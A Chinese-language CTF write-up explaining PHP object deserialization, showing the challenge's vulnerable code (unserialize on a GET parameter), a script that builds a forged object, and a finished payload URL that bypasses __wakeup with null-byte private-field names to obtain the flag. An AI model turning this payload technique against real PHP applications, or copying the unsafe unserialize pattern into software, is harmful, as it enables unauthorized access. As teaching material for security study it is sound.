知識點
- php序列化與反序列化
序列化:函數為serialize(),把復雜的數據類型壓縮到一個字符串中 數據類型可以是數組,字符串,對象等
反序列化:函數為unserialize(),將字符串轉換成變量或對象的過程
常用的魔術方法:
__construct():創建對象時初始化,當一個對象創建時被調用
__wakeup() 使用unserialize時觸發
__sleep() 使用serialize時觸發
__destruction():結束時銷毀對象,當一個對象銷毀時被調用
- private
private 聲明的字段為私有字段,只在所聲明的類中可見,在該類的子類和該類的對象實例中均不可見。因此私有字段的字段名在序列化時,類名和字段名前面都會加上\0的前綴。字符串長度也包括所加前綴的長度
- __wakeup()繞過
在反序列化字符串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函數的執行
解題思路與過程
1.目錄掃描
訪問題目連接根據提示猜測可能存在信息泄露,我們掃描目錄發現備份文件:www.zip,發現備份文件為源代碼
2.代碼審計
在index.php中找到php代碼
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
這里包含了class.php文件,用GET方法傳入參數select的值,然后反序列化該值,猜測此題與反序列化漏洞有關
接着審class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
如果password=100,username=admin,在調用__destruct()時就可以獲得flag,因此我們需要構造一個序列化使得password=100,username=admin
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b;
?>
得到序列化后的結合
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
3.繞過__wakeup()
__wakeup()方法中$this->username = 'guest'會讓username重新賦值。在反序列化字符串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函數的執行,我們可以將字符串中O:4:"Name"后面的2改為3及以上的整數
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
注意該類中使用的private來聲明字段,private在序列化中類名和字段名前都要加上ASCII 碼為 0 的字符(不可見字符),如果我們直接復制結果,該空白字符會丟失,需要我們自己加上
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
將該字符串作為select參數的值,GET方式發送過去就可以獲得flag
http://題目鏈接/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}